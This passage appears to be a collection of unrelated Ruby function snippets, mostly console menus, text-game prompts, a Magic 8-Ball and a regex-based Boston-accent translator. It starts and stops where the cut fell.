1000 and\" \r\n puts \"challenges you to identify it in as few guesses as possible.\"\r\n puts \"After each guess, the game will analyze your input and provide\"\r\n puts \"you with feedback. You have a maximum of 10 turns in\" \r\n puts \"order to guess the game's secret number.\\n\\n\\n\"\r\n puts \"Good luck!\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n print \"Press Enter to continue.\"\r\n\r\n Console_Screen.pause #Pause the game\r\n \r\n end", "def how_many_human_players()\n p \"How many human players [0: ai vs ai 1: player vs ai, 2: player vs player]\"\n choice = gets.chomp\n if [\"0\", \"1\", \"2\"].include?(choice) \n choice\n else\n p \"Incorrect Input\"\n how_many_human_players()\n end\nend", "def intro()\n puts \"This program will allow you to enter a new owner and vehicle, review all the vehicles currently registered,\"\n puts \"edit a vehicle/owner or delete a vehicle and owner.\"\n puts \"1: Enter a new owner and vehicle.\"\n puts \"2: Review all vehicles currently registered.\"\n puts \"3: Edit a vehicle/owner.\"\n puts \"4: Delete a vehicle and owner.\"\n puts \"5: End program.\"\n puts \"Please enter 1, 2, 3, 4 or 5: \"\n Integer selection = gets\n while selection != 5\n if selection == 1\n generate_id()\n capture_owner()\n capture_auto()\n end\n end\nend", "def maker_breaker\n puts \"\n \\e[4mStart The game:\\e[0m\n Are you going to play as code[M]aker or code[B]raker? Type the highlighted character of your choice\"\n choice = gets.chomp.downcase\n return choice if %w[m b].include?(choice)\n\n maker_breaker\n end", "def gold_room\n puts \"This room is full of gold. How much do you take?\"\n\n print \"> \"\n # This will get input from the user and do something with it. The $stdin doesn't appear to be necessary but is needed when you're passing arguments in via the terminal so I'm happy to try and get into the habit of using it so I can use it as default.\n choice = $stdin.gets.chomp\n\n# if the choice gotten from the line above includes a 0 or a 1, it will go to the next method how_much and change the number from a string which is gained from the gets (get a string) to an integer\n if choice.include?(\"0\") || choice.include?(\"1\")\n how_much = choice.to_i\n# If the choice doesn't contain a 0 or 1 or is anything else it will call the method dead. The man learn to type... will be fed into the parameter why and return \"Man learn to...\" \" Good job\"\n else\n dead(\"Man, learn to type a number.\")\n end\n# If your input was a number containing 0 or 1 and any other numbers, it will have been turned to an integer above and if it's less than 50 it will output the \"Nice not greedy... \" and end the script\n if how_much < 50\n puts \"Nice, you're not greedy, you win!\"\n exit(0)\n # IF your number was greater than 50 then it runs the dead method and feeds the \"greedy bastard\" into the why parameter outputting \"greedy bastard\" \"Good job\"\n else\n dead(\"You greedy bastard!\")\n end\nend", "def answer_validation(name)\n puts \"\\nHello, #{name}! What would you like to do today?\\n\n [1] Check allergy score.\n [2] Check allergies based on score.\n [3] Check if allergic to.\n [4] See allergy score table\n [5] Exit\"\n answer_keys = [*1..5]\n ans = gets.chomp.to_i\n while !answer_keys.include?(ans)\n puts \"Please navigate through the options using the numbers given.\"\n ans = gets.chomp.to_i\n end\n ans\nend", "def start\n puts \"\", \"Enter the number of the conservation status you would like to see or type exit:\"\n puts \"1. Critically Endangered\", \"2. Endangered\", \"3. Vulnerable\"\n print \"> \"\n\n input = gets.strip.downcase\n\n input = verification_one(input)\n\n if input == false\n return false\n end\n\n print_animal_list(input)\n\n puts \"\", \"Which animal would you like to get more information on? Please type the number or exit.\"\n print \"> \"\n input = gets.strip.downcase\n\n input = verification_two(input)\n\n if input == false\n return false\n end\n\n get_animal_description(input)\n\n puts \"\", \"Would you like to see another animal? Please enter Y or N.\"\n print \"> \"\n\n input = nil\n input = gets.strip.downcase\n\n return verification_three(input)\n end", "def magic_8_ball_menu\n puts \"please select an option\n 1) Use 8 ball\n 2) Enter answers into 8 ball\n 3) Delete entered answers from 8 ball\n 4) Reset 8 ball\n 5) See answer bank\n 6) Quit\"\n user_input = gets.chomp.to_i\n case user_input\n when 1\n magic_8_ball_input\n when 2\n magic_8_ball_enter_answers\n when 3\n magic_8_ball_delete_answer\n when 4\n magic_8_ball_reset\n when 5\n magic_8_ball_answer_bank\n when 6\n exit_8_ball_menu\n when 7\n m8b_a\n else\n puts 'Error: please enter a valid input'\n magic_8_ball_menu\n end\nend", "def strass_menu_help\n puts \"Available Options for the String Assistant Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"show basic \".light_yellow + \" => \".white + \"Show Basic Functions\".light_red\n puts \"show build \".light_yellow + \" => \".white + \"Show Builder Functions\".light_red\n puts \"show tamper \".light_yellow + \" => \".white + \"Show Tamper Functions\".light_red\n puts \"show append \".light_yellow + \" => \".white + \"Show Append Functions\".light_red\n puts \"show space \".light_yellow + \" => \".white + \"Show Whitespace Functions\".light_red\n puts \"show comma \".light_yellow + \" => \".white + \"Show Comma Functions\".light_red\n puts \"show floor \".light_yellow + \" => \".white + \"Show Floor() Functions\".light_red\n print_line(\"\")\nend", "def welcome_message_for_user_as_codemaker\n puts \"OK, great! You're the codemaker.\"\n puts \"In order to play, you need to think up a secret code with 4 spots.\"\n puts \"The colors you can choose from are: red, blue, green, yellow, purple, and orange.\"\n puts \"Hit enter when you're ready for my first guess!\"\n get_input\n end", "def bear_choice(choice) # here we took all the oprions we're just making a funtion with all of them that we can call later\n if choice == \"1\"\n \tputs \"The bear eats your face off. Good job!\"\n elsif choice == \"2\"\n \tputs \"The bear eats your legs off. Good job!\"\n else\n \tputs \"Well doing %s is probably better. The bear runs away and leaves the cake behind.\" %bear\n end\nend", "def menu\n puts Rainbow(\"*** Welcome to the calculator ***\").magenta.bright.underline\n puts Rainbow(\"Choose your type of calculator\").green.bright.blink\n print Rainbow(\"(b)\").green + \"asic or \" + Rainbow(\"(a)\").yellow + \"dvance or \" + Rainbow(\"(q)\").red + \"uit: \"\n gets.chomp.downcase\nend", "def get_option\n puts \" What do you want to know? (Please select number):\\n1: Height\\n2: Mass\\n3: Hair Color\\n4: Skin Color\\n5: Eye Color\\n6: Birth Year\\n7: Gender\\n8: Homeworld\\n9: Films\\n10: Species\"\n return gets.chomp.downcase\nend", "def advert\n #number = rand(3)\n @number +=1\n if @number == 3\n @number = 0\n end\n #puts \"#{number}\".red\n case @number\n when 0\n highlight = \"till death home loans\".red\n l1=\" Can't afford a house?\".blue\n l2=\"check out AAB's \".blue + \"#{highlight} \"+ \"today\".blue\n l3=\" because at AAB...\".blue\n l4=\" We'll Bank with Almost Anyone\".green\n return l1,l2,l3,l4\n #print l2\n #print l3\n #print l4\n when 1\n highlight = \"\".red\n l1=\"80% of all Hipsters can't afford the new MacBook Pro, \".blue\n l2=\" forcing them to live without touchbars\".blue\n l3=\" Sponsor a Hipsters today \".green\n l4=\" and ensure tomorrows tech is used today\".green\n return l1,l2,l3,l4\n #print l2\n #print l3\n #print l4\n when 2\n highlight = \"\".red\n l1=\"Travel on us, with the new AAB credit card \".blue\n l2=\" earn 1 point per $1 spent*\".blue\n l3=\" \".green\n l4=\"*fights cost on average 1 million points\".light_black\n return l1,l2,l3,l4\n #print l2\n #print l3\n #print l4\n end\n end", "def dig_power_at_bridge\n slowly do\n\"\"\"\nWhen is there a wrong time to dig? Duncan ignores the bridge for now, and starts digging happily here and there.\n\nWho knows where you'll find a bone?\n\nHe digs and digs...\n\"\"\"\n end\n if dice_roll > 3\n slowly do \n \"...And discovers a chache of burried bones! Max strength! Treasure + 3\"\n end\n $stats[:strength] = 5\n $ending += 3\n spacing\n start_bridge_quest\n prompt\n bridge_choice(STDIN.gets.chomp!)\n else\n puts \"...And finds nothing. \"\n spacing\n start_bridge_quest\n prompt\n bridge_choice(STDIN.gets.chomp!)\n end\n end", "def user_input\n puts \"Do you often play video-games? (yes/no)\"\n print '> '\n frequency = gets.chomp.downcase\n if frequency == \"yes\"\n begin \n puts \"How many hours a week on average do you think you have played video-games in the past month?\"\n @weekly_playtime = Integer(gets.chomp)\n #integer part of kernel module - can be called anywhere on a file, can be called on a particular thing. will try to convert to_int then to_i if that fails. \n if weekly_playtime == 0\n puts \"Please be realistic, you did play video games.\"\n exit \n end \n rescue ArgumentError \n puts \"Error! please type a whole number!\"\n retry \n end \n elsif frequency == \"no\"\n puts \"Are you using a stick to press the keys while you're up on your high horse!?\"\n exit\n else \n puts \"Error! Try again with yes or no!\"\n user_input \n end \n end", "def flawlessvictory\r\n\tputs \"\"\r\n\tputs \"\"\r\n\tputs \"\"\r\n\tputs \"Great Job!\"\r\n\tputs \"Now You Get To Choose Between 3 Amazing Prizes.\"\r\n\tputs \"\"\r\n\tputs \"CURRENT HP: \" + $hp.to_s\t\t\r\n\tputs \"\"\r\n\tputs \"1: 25 HP\"\r\n\tputs \"2: 50 HP\"\r\n\tputs \"3: 75 HP\"\r\n\tputs \"4: Save These Prizes For Later\"\r\n\tp1 = gets.chomp.to_i\r\n\t\t\r\n\tuntil p1 == 1 or p1 == 2 or p1 == 3 or p1 == 4\r\n\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\tputs \"\"\r\n\t\tputs \"1: 25 HP\"\r\n\t\tputs \"2: 50 HP\"\r\n\t\tputs \"3: 75 HP\"\r\n\t\tputs \"4: Save These Prizes For Later\"\r\n\t\tp1 = gets.chomp.to_i\r\n\tend\r\n\t\t\r\n\tif p1 == 1 \r\n\t\t$hp = $hp + 25 \r\n\t\t\t\r\n\t\tif $hp > 100\r\n\t\t\t$hp = 100\r\n\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\tend\r\n\r\n\t\t#v25 equals 1 so now I am able to take 25 hp off of the prize list later.\r\n\t\t$v25 = 1\r\n\r\n\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\tlevel\r\n\telse\r\n\t\tif p1 == 2\r\n\t\t\t$hp = $hp + 50\r\n\t\t\t\t\r\n\t\t\tif $hp > 100\r\n\t\t\t\t$hp = 100\r\n\t\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#v50 equals 1 so now I can take 50 hp off of the prize list later.\r\n\t\t\t$v50 = 1\r\n\t\t\t\r\n\t\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\t\tlevel\r\n\t\telse\r\n\t\t\tif p1 == 3 \r\n\t\t\t\t$hp = $hp + 75\r\n\t\t\t\t\r\n\t\t\t\tif $hp > 100\r\n\t\t\t\t\t$hp = 100\r\n\t\t\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\t#v75 equals 1 so now I can take 75 hp off of the prize list later.\r\n\t\t\t\t$v75 = 1\r\n\t\t\t\t\r\n\t\t\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\t\t\tlevel\r\n\t\t\telse \r\n\t\t\t\tif p1 == 4\r\n\t\t\t\t\tputs \"Ok, Good Luck In The Next Level\"\r\n\t\t\t\t\tlevel\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\t\r\n\t\r\n\r\nend", "def fortune\n rando_fortune = 1 + rand(20) ##Generate random number from 1-20\n\ncase rando_fortune ##Assign fortunes to case statement numbers\n when 1\n answer = \"It is certain\"\n when 2\n answer = \"It is decidedly so\"\n when 3 \n answer = \"Without a doubt\"\n when 4\n answer = \"Yes definitely\"\n when 5\n answer = \"You may rely on it\"\n when 6 \n answer = \"As I see it, yes\"\n when 7 \n answer = \"Most likely\"\n when 8 \n answer = \"Outlook good\"\n when 9 \n answer = \"Yes\"\n when 10 \n answer = \"Signs point to yes\"\n when 11\n answer = \"Reply hazy try again\"\n when 12\n answer = \"Ask again later\"\n when 13\n answer = \"Better not tell you now\"\n when 14 \n answer = \"Cannot predict now\"\n when 15 \n answer = \"Concentrate and ask again\"\n when 16 \n answer = \"Don't count on it\"\n when 17 \n answer = \"My reply is no\"\n when 18 \n answer = \"My sources say no\"\n when 19 \n answer = \"Outlook not so good\"\n when 20\n answer = \"Very doubtful\"\nend\n \nend", "def get_character_choice\n puts \"Please choose 1-5 to learn more about that character or type 'Let it go' to exit.\"\n input = gets.chomp\n if input.to_i.between?(1,5)\n display_character_info(input) \n start \n elsif input == \"Let it go\"\n exit_prg \n end \n end", "def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n 